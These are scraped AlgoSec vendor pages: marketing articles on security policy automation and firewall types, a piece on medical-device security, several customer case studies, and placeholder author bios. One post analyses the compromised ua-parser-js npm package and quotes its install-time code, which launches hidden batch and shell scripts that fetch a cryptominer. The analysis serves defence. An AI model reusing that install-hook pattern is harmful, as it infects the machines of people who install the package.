Tags Share this article 8/9/23 Published Security policy automation is the process of automating certain cybersecurity tasks like threat detection (ransomware, malware, security rules, network changes), investigation, and remediation. Automating such practices reflects in the policy that governs them. Thus, security policy automation is the process of automating network security controls using a programmatic solution. In present-day security operation centers (SOCs), NSPM solutions can facilitate automation. These work by identifying vulnerabilities, threats, and attack surfaces in the security posture, assessing them, prioritizing them, responding to them in order through pre-defined actions, and streamlining the process for the security executives. So, automation doesn’t mean everything from end to end is automated. Some human intervention may be necessary, at least at the higher decision-making level. Benefits of network security policy automation Automation in security policy has several benefits for an organization. Thus, it’s not hard to see why companies are pumping money into network security automation solutions . Some of the proven benefits are: Automate manual tasks in cybersecurity The primary benefit of any automation practice is to reduce manual labor. Connectivity security automation frees up resources from many redundant manual tasks, which you can then deploy elsewhere. This automation yields several other benefits that make automation irresistible for companies. Bring down false positive alerts False positive alerts or alarms are those instances where the cloud security system gets triggered because of a false threat, like firewall rules . In other words, the management platform perceives certain actions to be threatening, which actually are harmless. This consumes unnecessary resources. IT teams can prevent such real-time false alerts by making use of regulatory automation. Automation tools can detect and verify such alarms and take pre-defined actions should the alerts be false. Consider it a second check before raising the issue at a higher level. Reduce downtime Downtime is one of the pressing issues in IT departments. A study by Gartner penned the average cost of downtime at $5,600 per minute for certain businesses. When the system detects a threat, it typically shuts down certain network segments (like web services, routers, and so on). This can result in downtime. Some downtimes might be unavoidable, but those arising from false positive alerts certainly are. Thus, network security policy automation helps in that regard too. Reduce headcount There’s a shortage of talent in the cybersecurity And often, competent men and women demand sky-high salaries. So, from an economic standpoint, using automation to counter the lack of talent makes sense. With automation, you can divert human resources to other productive tasks. Make compliance easier Compliance is critical for businesses, especially in critical insurance, medical, and legal sectors. Up-to-date infrastructure comprising of Cisco, AWS, Tufin , and other reputed companies with the latest cybersecurity measures is one of the prerequisites laid out by most regulators. Network security policy automation can help update the infrastructure to the latest standards. This, in turn, helps the business stay compliant. Why is automation still a challenge in network security? Despite all its promises and proven benefits, many companies are reluctant to invest in security automation And the reason is it’s challenging to do so. Automation is hard because management itself is hard. You can’t automate something you can’t fully manage properly. E mployees, teams, and projects change, as do the access control Because of such a dynamic environment, automation is still challenging. Another reason is teams tend to work in silos. Multiple stakeholders are involved, including the customers, who must understand and accept the changes. Automation in such instances, known as Deploy and Configure, remains a challenge. But despite the challenges, there are ways to automate multi-vendor on-premises network security Even if you successfully automate some aspects of the policy, it’d be a huge time and resource saver. How to automate network security policy management? Cloud-based security policy automation has been around for quite some time. It has received upgrades over time and has gotten better. Let’s look at present-day automation practices, change processes, and troubleshooting tips. Review the current policy You can’t start from scratch, especially if you have an existing network security policy . The best approach is to start automation from where you are. This way, your security teams do not need to make drastic changes, which may put your network in a more vulnerable state. So as a first step, review your existing cloud environments policy and establish needs. Post that, formulate a plan on which things you can automate and which require manual intervention. Start with things that can be automated. If starting from starch, you must create a security policy first. So, hire cybersecurity experts from AlgoSec to formulate and optimize a policy for your organization’s hybrid network. You can also use Prevasio CNAPP to manage the multi-cloud security You might also want to conduct a webinar if important stakeholders work remotely. The idea is to bring everyone on the same page. Select the type of security automation tools There are three types of hybrid environment security automation tools to choose from. These are no-code, low-code, and full-code automation. The type of automation you select will impact your security policy changes . Pricing of each tool will also play an important role. No-code security automation is the newest type. As the name suggests, such tools do not require coding to automate network security . There are several use cases and pre-made workflows that you can use right off the bat. These are much easier to manage but don’t grant you complete control over the policy. You can have several automation tools within low-code tools like some-code or more-code. Most businesses prefer these security tools since they offer a balance of user-friendliness and robust coding capabilities. You can change and apply the pre-defined use cases to your company’s security policy. Finally, you have full-code automation AlgoBot , for instance, is an intelligent chatbot for handling network security policy management tasks. These are legacy security orchestration, automation, and response (SOAR) platforms. A high level of coding work is necessary to work with these full-code firewall management tools, which poses a high barrier to entry. But the upside is you get full control over the policy. Adopt zero-touch change management Truth be told, you can’t automate 100% of the security policy. Skilled personnel will still be needed to look over everything. However, for those manual tasks, you need speed while still upholding the security principles. How do you balance both? With zero-touch change management. Zero-touch orchestration is an alternative to semi-automated security processes. Vulnerability management accelerates change requests, reducing the time it takes to implement requests to minutes. Despite the speed advantage, zero-touch orchestration has flaws. For example, it accepts the requests as-is and doesn’t check their validities. This can result in misconfiguration. For security risk mitigation , you can embed conditional logic into the orchestration and leverage security and speed. This form of automation will ensure none of the process steps are missed in the lifecycle. FireFlow provides automated security policy management, helping you confidently automate security policy change process. Establish priorities Deploying automation tools is one part done. The next part is adopting the best practices and organizing your team. One of the best practices of policy automation is to establish priorities. Finding the DevOps issues that are more critical to your security needs is imperative. Then place them higher for the team to address them. This requires you to look at your overall network posture (which you have done in the first step). Once you’ve established clear priorities, you should define the use cases and implement workflow automation. Train team members Last, to ensure continuous compliance, you must upskill your team members to grasp the implemented changes. The transition from manual to automated will be challenging for employees too. Make them understand why it’s being done and what they’re supposed to do. This is done through a combination of courses and practical knowledge. Besides the knowledge, they should also clarify where the machine’s capabilities end and human responsibility begins. Once automated, it will take some time for the team to get familiarized with it. For the best results, automate the workflow in batches and not the entire network at once. Develop the playbook along the way and get everyone on the same page. Once you get a tempo, invest in third-party tools and vendors to speed up the automation What’s next? Network security policy automation makes compliance easier, reduces downtime, and automates manual tasks in cybersecurity. However, automation still means having the right tools and professionals within reach.

Leading Bank Transforms Digitalization Journey With AlgoSec Organization Leading Bank Industry Financial Services Headquarters United States Download case study Share Customer
success stories "AlgoSec is like a person sitting in my bank taking care of everything - simplifying day-to-day operations and reducing human errors because everything is automated.” Background Background The bank is a full-service commercial bank headquartered in India. It offers a wide range of banking and financial products for corporate and retail customers through retail banking and asset management services. The bank offers personal, corporate, and internet banking services including accounts, deposits, credit cards, home loans, and personal loans. The Challenges The client’s key issues related to the management of the firewalls, dealing with rule duplication and human errors. Their network security operations teams were hampered by manual, slow, and error-prone security change-management processes. It often took around four days to process a single change across their complex network environment. The frequent errors that arose from manual processes opened security gaps and put them at risk of cyberattacks. Some of their challenges included: Human errors leading to misconfiguration – The organization was handling over 30 firewalls and 30 to 40 rules in a day across multiple firewalls. They lacked the skilled resources to implement these rule changes. This led to errors and misconfigurations. Lack of visibility – They lacked visibility into their overall network and traffic flows and failed to understand which rules applied to each firewall. Duplicate rules – They had many duplicate firewall policies, negatively impacting performance. Policy optimization – The organization required policies to be frequently optimized. Lack of visibility – The organization needed visibility across their networks, allowing them to quickly find and fix issues. Time-consuming manual change management processes. Solution The organization looked for a partner that understood their challenges, could integrate into their existing solutions, and could take full responsibility for any issues. In the words of the bank’s executive vice president, “ We were looking for a partner, not a product.” The key factors that the bank was looking for were: Alignment with their digital transformation vision – They wanted to align with key stakeholders among business, operations, network, and security teams. Automation as a key focus – Automation was important to reduce human errors, align with the considerable number of requests and adapt to the agile nature of critical applications. With automation, they were looking to implement firewall changes faster. Easy to use and integrate within the existing infrastructure. Unified view of their multi-vendor firewall estate – They wanted a single console where they could see all their firewalls, understand their collective risk, and gain a holistic view of the current state of their firewall policies. As a result, the customer implemented the AlgoSec Security Management Solution. Results: The AlgoSec Security Management Solution transformed the bank’s digitalization journey, leading to: Time to implement rule changes decreased from 4-5 days to less than 48 hours – a 60% reduction. Automatically implemented changes – Changes are automatically implemented, without needing to guess which rules and devices are in path. Reduced human error and elimination of repetitive, manual tasks. Simplified daily operations. Automated change management across application-centric infrastructure. Identified and mitigated risks. Transformed digitization journey. AlgoSec now has end-to-end visibility of which firewall it needs to implement the changes on. The bank was in the process of switching from a traditional infrastructure to Cisco ACI. The transition was smooth. AlgoSec seamlessly integrated into Cisco ACI and their existing Palo Alto Network devices. “I think we are the first in India who approached AlgoSec and got these solutions implemented – getting Cisco ACI, Palo Alto, and AlgoSec working hand in hand with full integration. This is the best thing we’ve seen till now,” noted the vice president. Looking ahead, they plan to extend AlgoSec’s offering, mapping rule applications, and other capabilities to help them migrate to the cloud. Schedule time with one of our experts

Tags Share this article 10/25/23 Published Firewalls form the first line of defense against intrusive hackers trying to infiltrate internal networks and steal sensitive data. They act as a barrier between networks, clearly defining the perimeters of each. The earliest generation of packet-filter firewalls were rudimentary compared to today’s next-generation firewalls, but cybercrime threats were also less sophisticated. Since then, cybersecurity vendors have added new security features to firewalls in response to emerging cyber threats. Today, organizations can choose between many different types of firewalls designed for a wide variety of purposes. Optimizing your organization’s firewall implementation requires understanding the differences between firewalls and the network layers they protect. How Do Firewalls Work? Firewalls protect networks by inspecting data packets as they travel from one place to another. These packets are organized according to the transmission control protocol/internet protocol (TCP/IP), which provides a standard way to organize data in transit. This protocol is a concise version of the more general OSI model commonly used to describe computer networks. These frameworks allow firewalls to interpret incoming traffic according to strictly defined standards. Security experts use these standards to create rules that tell firewalls what to do when they detect unusual traffic. The OSI model has seven layers: Application Presentation Session Transport Network Data link Physical Most of the traffic that reaches your firewall will use one of the three major Transport layer protocols in this model, TCP, UDP, or ICMP. Many security experts focus on TCP rules because this protocol uses a three-step TCP handshake to provide a reliable two-way connection. The earliest firewalls only operated on the Network Layer, which provides information about source and destination IP addresses, protocols, and port numbers. Later firewalls added Transport Layer and Application Layer functionality. The latest next-generation firewalls go even further, allowing organizations to enforce identity-based policies directly from the firewall. Related Read : Host-Based vs. Network-Based Firewalls 1. Traditional Firewalls Packet Filtering Firewalls Packet-filtering firewalls only examine Network Layer data, filtering out traffic according to the network address, the protocol used, or source and destination port data. Because they do not inspect the connection state of individual data packets, they are also called stateless firewalls. These firewalls are simple and they don’t support advanced inspection features. However, they offer low latency and high throughput, making them ideal for certain low-cost inline security applications. Stateful Inspection Firewalls When stateful firewalls inspect data packets, they capture details about active sessions and connection states. Recording this data provides visibility into the Transport layer and allows the firewall to make more complex decisions. For example, a stateful firewall can mitigate a denial-of-service attack by comparing a spike in incoming traffic against rules for making new connections – stateless firewalls don’t have a historical record of connections to look up. These firewalls are also called dynamic packet-filtering firewalls. They are generally more secure than stateless firewalls but may introduce latency because it takes time to inspect every data packet traveling through the network. Circuit-Level Gateways Circuit-level gateways act as a proxy between two devices attempting to connect with one another. These firewalls work on the Session layer of the OSI model, performing the TCP handshake on behalf of a protected internal server. This effectively hides valuable information about the internal host, preventing attackers from conducting reconnaissance into potential targets. Instead of inspecting individual data packets, these firewalls translate internal IP addresses to registered Network Address Translation (NAT) addresses. NAT rules allow organizations to protect servers and endpoints by preventing their internal IP address from being public knowledge. 2. Next-Generation Firewalls (NGFWs) Traditional firewalls only address threats from a few layers in the OSI model. Advanced threats can bypass these Network and Transport Layer protections to attack web applications directly. To address these threats, firewalls must be able to analyze individual users, devices, and data assets as they travel through complex enterprise networks. Next-generation firewalls achieve this by looking beyond the port and protocol data of individual packets and sessions. This grants visibility into sophisticated threats that simpler firewalls would overlook. For example, a traditional firewall may block traffic from an IP address known for conducting denial-of-service attacks. Hackers can bypass this by continuously changing IP addresses to confuse and overload the firewall, which may allow routing malicious traffic to vulnerable assets. A next-generation firewall may notice that all this incoming traffic carries the same malicious content. It may act as a TCP proxy and limit the number of new connections made per second. When illegitimate connections fail the TCP handshake, it can simply drop them without causing the organization’s internal systems to overload. This is just one example of what next-gen firewalls are capable of. Most modern firewall products combine a wide variety of technologies to provide comprehensive perimeter security against comprehensive cyber attacks. How do NGFWs Enhance Network Security? Deep Packet Inspection (DPI) : NGFWs go beyond basic packet filtering by inspecting the content of data packets. They analyze the actual data payload and not just header information. This allows them to identify and block threats within the packet content, such as malware, viruses, and suspicious patterns. Application-Level Control : NGFWs can identify and control applications and services running on the network. This enables administrators to define and enforce policies based on specific applications, rather than just port numbers. For example, you can allow or deny access to social media sites or file-sharing applications. Intrusion Prevention Systems (IPS) : NGFWs often incorporate intrusion prevention capabilities. They can detect and prevent known and emerging cyber threats by comparing network traffic patterns against a database of known attack signatures. This proactive approach helps protect against various cyberattacks. Advanced Threat Detection: NGFWs use behavioral analysis and heuristics to detect and block unknown or zero-day threats. By monitoring network traffic for anomalies, they can identify suspicious behavior and take action to mitigate potential threats. U ser and Device Identification : NGFWs can associate network traffic with specific users or devices, even in complex network environments. This user/device awareness allows for more granular security policies and helps in tracking and responding to security incidents effectively. Integration with Security Ecosystem : NGFWs often integrate with other security solutions, such as antivirus software, intrusion detection systems (IDS), and security information and event management (SIEM) systems. This collaborative approach provides a multi-layered defense strategy . Security Automation : NGFWs can automate threat response and mitigation. For example, they can isolate compromised devices from the network or initiate other predefined actions to contain threats swiftly. In a multi-layered security environment, these firewalls often enforce the policies established by security orchestration, automation, and response (SOAR) platforms. Content Filtering : NGFWs can filter web content, providing URL filtering and content categorization. This helps organizations enforce internet usage policies and block access to potentially harmful or inappropriate websites. Some NGFWs can even detect outgoing user credentials (like an employee’s Microsoft account password) and prevent that content from leaving the network. VPN and Secure Remote Access : NGFWs often include VPN capabilities to secure remote connections. This is crucial for ensuring the security of remote workers and branch offices. Advanced firewalls may also be able to identify malicious patterns in external VPN traffic, protecting organizations from threat actors hiding behind encrypted VPN providers. Cloud-Based Threat Intelligence : Many NGFWs leverage cloud-based threat intelligence services to stay updated with the latest threat information. This real-time threat intelligence helps NGFWs identify and block emerging threats more effectively. Scalability and Performance : NGFWs are designed to handle the increasing volume of network traffic in modern networks. They offer improved performance and scalability, ensuring that security does not compromise network speed. Logging and Reporting : NGFWs generate detailed logs and reports of network activity. These logs are valuable for auditing, compliance, and forensic analysis, helping organizations understand and respond to security incidents. 3. Proxy Firewalls Proxy firewalls are also called application-level gateways or gateway firewalls. They define which applications a network can support, increasing security but demanding continuous attention to maintain network functionality and efficiency. Proxy firewalls provide a single point of access allowing organizations to assess the threat posed by the applications they use. It conducts deep packet inspection and uses proxy-based architecture to mitigate the risk of Application Layer attacks. Many organizations use proxy servers to segment the parts of their network most likely to come under attack. Proxy firewalls can monitor the core internet protocols these servers use against every application they support. The proxy firewall centralizes application activity into a single server and provides visibility into each data packet processed. This allows the organization to maintain a high level of security on servers that make tempting cyberattack targets. However, these servers won’t be able to support new applications without additional firewall configuration. These types of firewalls work well in highly segmented networks that allow organizations to restrict access to sensitive data without impacting usability and production. 4. Hardware Firewalls Hardware firewalls are physical devices that secure the flow of traffic between devices in a network. Before cloud computing became prevalent, most firewalls were physical hardware devices. Now, organizations can choose to secure on-premises network infrastructure using hardware firewalls that manage the connections between routers, switches, and individual devices. While the initial cost of acquiring and configuring a hardware firewall can be high, the ongoing overhead costs are smaller than what software firewall vendors charge (often an annual license fee). This pricing structure makes it difficult for growing organizations to rely entirely on hardware devices. There is always a chance that you end up paying for equipment you don’t end up using at full capacity. Hardware firewalls offer a few advantages over software firewalls: They avoid using network resources that could otherwise go to value-generating tasks. They may end up costing less over time than a continuously renewed software firewall subscription fee. Centralized logging and monitoring can make hardware firewalls easier to manage than complex software-based deployments. 5. Software Firewalls Many firewall vendors provide virtualized versions of their products as software. They typically charge an annual licensing fee for their firewall-as-a-service product, which runs on any suitably provisioned server or device. Some software firewall configurations require the software to be installed on every computer in the network, which can increase the complexity of deployment and maintenance over time. If firewall administrators forget to update a single device, it may become a security vulnerability. At the same time, these firewalls don’t have their own operating systems or dedicated system resources available. They must draw computing power and memory from the devices they are installed on. This leaves less power available for mission-critical tasks. However, software firewalls carry a few advantages compared to hardware firewalls: The initial subscription-based cost is much lower, and many vendors offer a price structure that ensures you don’t pay for resources you don’t use. Software firewalls do not take up any physical space, making them ideal for smaller organizations. The process of deploying software firewalls often only takes a few clicks. With hardware firewalls, the process can involve complex wiring and time-consuming testing. Advanced Threats and Firewall Solutions Most firewalls are well-equipped to block simple threats, but advanced threats can still cause problems. There are many different types of advanced threats designed to bypass standard firewall policies. Advanced Persistent Threats (APTs) often compromise high-level user accounts and slowly spread throughout the network using lateral movement. They may move slowly, gathering information and account credentials over weeks or months before exfiltrating the data undetected. By moving slowly, these threats avoid triggering firewall rules. Credential-based attacks bypass simple firewall rules by using genuine user credentials to carry out attacks. Since most firewall policies trust authenticated users, attackers can easily bypass rules by stealing user account credentials. Simple firewalls can’t distinguish between normal traffic and malicious traffic by an authenticated, signed-in user. Malicious insiders can be incredibly difficult to detect. These are genuine, authenticated users who have decided to act against the organization’s interest. They may already know how the firewall system works, or have privileged access to firewall configurations and policies. Combination attacks may target multiple security layers with separate, independent attacks. For example, your cloud-based firewalls may face a Distributed Denial of Service (DDoS) attack while a malicious insider exfiltrates information from the cloud. These tactics allow hackers to coordinate attacks and cover their tracks. Only next-generation firewalls have security features that can address these types of attack. Anti-data exfiltration tools may prevent users from sending their login credentials to unsecured destinations, or prevent large-scale data exfiltration altogether. Identity-based policies may block authenticated users from accessing assets they do not routinely use. Firewall Configuration and Security Policies The success of any firewall implementation is determined by the quality of its security rules. These rules decide which types of traffic the firewall will allow to pass, and what traffic it will block. In a modern network environment, this is done using four basic types of firewall rules: Access Control Lists (ACLs). These identify the users who have permission to access a certain resource or asset. They may also dictate which operations are allowed on that resource or asset. Network Address Translation (NAT) rules. These rules protect internal devices by hiding their original IP address from the public Internet. This makes it harder for hackers to gain unauthorized access to system resources because they can’t easily target individual devices from outside the network. Stateful packet filtering . This is the process of inspecting data packets in each connection and determining what to do with data flows that do not appear genuine. Stateful firewalls keep track of existing connections, allowing them to verify the authentication of incoming data that claims to be part of an already established connection. Application-level gateways. These firewall rules provide application-level protection, preventing hackers from disguising malicious traffic as data from (or for) an application. To perform this kind of inspection, the firewall must know what normal traffic looks like for each application on the network, and be able to match incoming traffic with those applications. Network Performance and Firewalls Firewalls can impact network performance and introduce latency into networks. Optimizing network performance with firewalls is a major challenge in any firewall implementation project. Firewall experts use a few different approaches to reduce latency and maintain fast, reliable network performance: Installing hardware firewalls on high-volume routes helps, since separate physical devices won’t draw computing resources away from other network devices. Using software firewalls in low-volume situations where flexibility is important. Sometimes, being able to quickly configure firewall rules to adapt to changing business conditions can make a major difference in overall network performance. Configuring servers to efficiently block unwanted traffic is a continuous process. Server administrators should avoid overloading firewalls with denied outbound requests that strain firewalls at the network perimeter. Firewall administrators should try to distribute unwanted traffic across multiple firewalls and routers instead of allowing it to concentrate on one or two devices. They should also try reducing the complexity of the firewall rule base and minimize overlapping rules.

Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/21 Published As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary). I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0 I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish ) so I can only deprecate them with a warning message. There are more than 2.5 million other repositories that depend on ua-parser-js . Google search “file:ua-parser-js.js” reveals nearly 2 million websites, which indicates the package is popular. As seen in the source code diff , the newly added file package/preinstall.js will check the OS platform. If it’s Windows, the script will spawn a newly added preinstall.bat script. If the OS is Linux, the script will call terminalLinux() function, as seen in the source below: var opsys = process.platform; if ( opsys == "darwin" ) { opsys = "MacOS" ; } else if ( opsys == "win32" || opsys == "win64" ) { opsys = "Windows" ; const { spawn } = require ( 'child_process' ) ; const bat = spawn ( 'cmd.exe' , [ '/c' , 'preinstall.bat' ]) ; } else if ( opsys == "linux" ) { opsys = "Linux" ; terminalLinux () ; } The terminalLinux() function will run the newly added preinstall.sh script. function terminalLinux(){ exec( "/bin/bash preinstall.sh" , (error, stdout, stderr) => { ... }); } The malicious preinstall.sh script first queries an XML file that will report the current user’s geo-location by visiting this URL . For example, for a user located in Australia, the returned content will be: [IP_ADDRESS] AU Australia ... Next, the script searches for the presence of the following country codes in the returned XML file: RU UA BY KZ That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan. Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia. jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products. Conclusion The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, Prevasio found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse. What’s fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA). About the Country Codes Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it’s for their own legal protection. The reality is way simpler, of course: “Не гадь там, где живешь” “Не сри там, где ешь” “Не плюй в колодец, пригодится воды напиться” Polite translation of all these sayings is: “One should not cause trouble in a place, group, or situation where one regularly finds oneself.” Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026?

Cyber Attacks & Incident Response Checking the cybersecurity pulse of medical devices Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/14/16 Published Hospitals are increasingly becoming a favored target of cyber criminals. Yet if you think about medical equipment that is vulnerable to being hacked at a hospital, you might not immediately think of high-end, critical equipment such as MRI and X-ray scanners, and nuclear medicine devices. After all, these devices go through rigorous approval processes by the US Food & Drug Administration (FDA) before they are approved for safe use on patients. Yet today many, if not most, medical devices, have computers embedded in them, are connected to the hospital network, and often to the internet as well, so they provide a potential attack vector for cyber criminals. In late 2015 security researchers found that thousands of medical devices were vulnerable to attack and exposed to the public Internet. Interestingly, these researchers also found that many of the devices in question were running Windows XP – which is no longer supported or updated by Microsoft – and did not run antivirus software to protect them against malware. This combination raises an obvious security red flag. Ironically, these security vulnerabilities were further exacerbated because of the very FDA approvals process that certifies the devices. The approval process is, quite rightly, extremely rigorous. It is also lengthy and expensive. And if a manufacturer or vendor makes a change to a device, it needed to be re-certified. Until very recently, a ‘change’ to a medical device meant any sort of change – including patching devices’ operating systems and firmware to close off potential network security vulnerabilities. You can see where this is going: making simple updates to medical equipment to improve its defenses against cyberattacks was made that much more difficult and complex for the device manufacturers, because of the need for FDA re-certification every time a change was made. And of course, this potential delay in patching vulnerabilities made it easy for a hacker to try and ‘update’ the device in his own way, for criminal purposes. Hackers are usually not too concerned about getting FDA approval for their work. Fortunately, the FDA released new guidelines last year that allowed equipment manufacturers to patch software as required without undergoing re-certification—provided the change or modification does not ‘significantly affect the safety or effectiveness of the medical device’. That’s good news – but it’s not quite the end of the story. The FDA’s guidelines are only a partial panacea to the overall problem. They overlook the fact that many medical devices are running obsolete operating systems like Windows XP. What’s more, the actual process of applying patches to the computers in medical devices can vary enormously from manufacturer to manufacturer, with some patches needing to be downloaded and applied manually, while others may be pushed automatically. In either case, there could still be a window of weeks, months or even years before the device’s vendor issues a patch for a given vulnerability – a window that a hacker could exploit before the hospital’s IT team becomes aware that the vulnerability exists. This means that hospitals need to take great care when it comes to structuring and segmenting their network . It is vital that connected medical devices – particularly those where the internal OS may be out of date – are placed within defined, segregated segments of the network, and robustly protected with next-generation firewalls, web proxies and other filters. While network segmentation and filtering will not protect unpatched or obsolete operating system, they will ensure that the hospital’s network is secured to the best of its ability .

ORMAT MANAGES RISK AND NERC COMPLIANCE WITH ALGOSEC Organization ORMAT Industry Technology Headquarters Reno, Nevada, United States Download case study Share Customer
success stories "We’re managing our network security with much greater confidence. With the value of the time we save and our improved compliance readiness, we can clearly see that AlgoSec is delivering on our investment" Global Geothermal Power Producer Improves Security and Compliance and Takes Control of DailyFirewall Management Operations at 14 Global Facilities AlgoSec Business Impact • Automated notifications improve firewall management processes.• Visibility of firewall rules allows better management of security infrastructure.• Built-in reports provide instant proof of SOX and NERC compliance. Background Ormat Technologies, Inc. a world leader in the geothermal power plant sector, is committed to developing green, sustainable energy solutions. The company has installed over 2000 MW of geothermal and Recovered Energy (REG) power plants worldwide. Ormat’s global IT department manages network security and ensures compliance with SOX (Sarbanes-Oxley) regulations and NERC (North American Electric Reliability Corporation) at 14 of its power plants. Challenge Ormat’s firewall configurations typically need updating on a daily basis to address the changing roles and information technology requirements of Ormat’s global employees. As the department has assumed greater responsibility for regulatory compliance in addition to internal operations, firewall management has become cumbersome and costly.“With multiple managers adding and changing firewall configurations at our various locations, we had no way to review each change, see who made it, or know if a change was made at all,” explains Meir Moshka, IT Manager at Ormat. Without this information, reviewing firewall configurations against regulations and standards was difficult and time-consuming. “To stay compliant and secure, we needed better controls for firewall management, but we also had to stay responsive to the employees we serve,” says Moshka. Solution After evaluating several firewall management products, Ormat selected the AlgoSec Security Management solution for its ease of use, and for the superiority of its built-in SOX and NERC compliance reports. “The web user interface is easy and friendly,” comments Moshka. His team installed and tested AlgoSec themselves, in a matter of days. Another capability that drove Ormat to select AlgoSec was its ability to create a workflow for their firewall configuration process. “Every time a change is made, the security manager receives an email describing the new configuration,” says Moshka. “The change is only made after the manager approves it.” The new process will ensure that all configuration changes are properly reviewed. Results Today, in addition to maintaining its network security policies more effectively, Ormat is dramatically reducing the time spent preparing for compliance audits. “Together, the firewall management process and reports keep us ready for an audit at all times. We save a great deal of audit preparation time because we already review each configuration change against the requirements on a daily basis.” Automated compliance reporting also gives Ormat the power to demonstrate compliance to customers and prospects, as the company pursues new contracts for power plant operations in the US. “By using the built-in reports, we can instantly show we are NERC and SOX compliant. It’s a valuable proof for the plant owners.” Moshka and his team also rely on AlgoSec’s built-in knowledgebase of best practices for firewall configuration. Additionally, they have customized the out-of-the-box functionality by defining additional risks that apply to Ormat’s environment. With their customized risk profile in place, each firewall configuration change is evaluated against the knowledgebase to determine which configurations to improve or avoid. “Often, a change to the firewall needs to be more restrictive than we thought,” says Moshka. “AlgoSec gives us recommendations for each new change, and we minimize security risks by following them.” Another improvement is how AlgoSec’s policy cleanup and optimization features ensure Ormat’s security policy is streamlined and easy to maintain. “Now I see exactly which policy applies to which firewall, which rules are duplicated, expired, or unused, and get recommendations on the most effective way to reorder the most used rules,” says Moshka. With AlgoSec, Ormat has taken back control for its firewall policies and compliance requirements. “We’re managing our network security with much greater confidence,” Moshka says. “Add together the value of the time we save on a daily basis, and our improved compliance readiness, and we can clearly see that AlgoSec is delivering on our investment.” Schedule time with one of our experts

Orange Cyberdefense Furnishes Application Delivery and Network Automation Organization Orange Cyberdefense Industry Retail & Manufacturing Headquarters Multinational Download case study Share Customer
success stories "We cut the time it takes to implement firewall rules by at least 50%" Application owners for global retail chain get faster response times with application visibility and automated deployment. Orange Cyberdefense is the expert cybersecurity business unit of the Orange Group, providing managed security, managed threat detection & response services to organizations around the globe. They embed security into Orange Business Services solutions with more than 250 security researchers and analysts and 16 SOCs distributed around the world supporting customers in over 160 countries. The Challenge Orange Cyberdefense is an on-site consultant for a large retail chain with hundreds of stores and hundreds of thousands of employees spread out across the world.The client has over 2,500 multi-vendor firewalls and Layer 3 devices in their global data centers. They also run hundreds of mission-critical business services. Business services include supply chain management and ERP systems, global eCommerce operations, financial management systems, and much more. As a result, they had to cope with hundreds of change requests daily.Some of the challenges included: Lack of centralized management – Multiple vendors’ firewalls are deployed, which were implemented by multiple third-party vendors. There was no validation that rules were consistently applied across multiple vendor’s management consoles. Commissioning and decommissioning devices – A mix of multi-vendor new and legacy devices run in the data center and maintaining consistency across multiple vendors and multiple versions of devices was difficult. Lack of automation – Firewall communication and traffic flows were described in Excel sheets and needed to be manually updated whenever there was a change. Slow execution of change requests – Implementing firewall changes took over a week. Poorly implemented rules – The rules did not reflect what the requester asked for. They either allowed too much traffic in or were too narrow, not allowing the required traffic and thus needed to be re-implemented. The Solution The client searched for a solution that provided: Faster implementation of firewall changes. Comprehensive firewall support for a globally dispersed multi-vendor, hybrid estate. Automation of security policy change management and documentation of security policy changes. Visibility into their business applications and traffic flows. They implemented the AlgoSec Security Policy Management Solution, made up of AlgoSec Firewall Analyzer, AlgoSec FireFlow, and AlgoSec AppViz and AppChange (formerly AlgoSec BusinessFlow). AlgoSec Firewall Analyzer analyzes complex network security policies across on-premise, cloud, and hybrid networks. It automates and simplifies security operations, including troubleshooting, auditing and risk analysis. Using Firewall Analyzer, the client can optimize the configuration of firewalls, and network infrastructure to ensure security and compliance. AlgoSec FireFlow enables security staff to automate the entire security policy change process from design and submission to proactive risk analysis, implementation, validation, and auditing. Its intelligent, automated workflows save time and improve security by eliminating manual errors and reducing risk. AlgoSec AppViz and AppChange (formerly AlgoSec BusinessFlow) discover, identify, and map business applications, providing critical security information regarding the firewalls and firewall rules supporting each connectivity flow. With AlgoSec AppChange, changes can be made at the business application level, including application migrations, server deployment, and decommissioning projects. The Results Some of the ways the client benefits from using AlgoSec include: Greater transparency by providing a single source of truth that took into consideration the entire network estate. 50% reduction in the time needed to implement firewall rules. More communication between network security/IT staff and business application owners who are now able to submit change requests in business language and easily describe their needs, thus reducing misconfigurations and potential breaches. Better compliance reporting – with both an easy API integration and also audit-ready compliance reports. Automated change management – network changes are now recorded while being made – not managed with Excel. By using AlgoSec, application owners have more visibility into the network and are better able to trace what has changed within their business applications. “Documentation is several hundred percent better this way,” said Hans Broomé, Network and Security Consultant at Orange Cyberdefense. “With many different versions of the services, by using AlgoSec the IT team is confident that they are making changes to the correct version.” There were even unexpected gains, such as improved security management procedures. Change requests became more accurate as they gained visibility into the network and made the change request process more systematic and transparent. Requesters, as well as stakeholders such as their managers, have full visibility of their change request’s status and can verify that the request works as intended. Orange Cyberdefense is also impressed with the dedicated attention they receive from AlgoSec. AlgoSec’s support team is familiar with the global organization and provides dedicated attention tailored to their exact needs. They stay up to date with the AlgoSec solution’s latest capabilities, and the technical team maximizes their use of it thanks 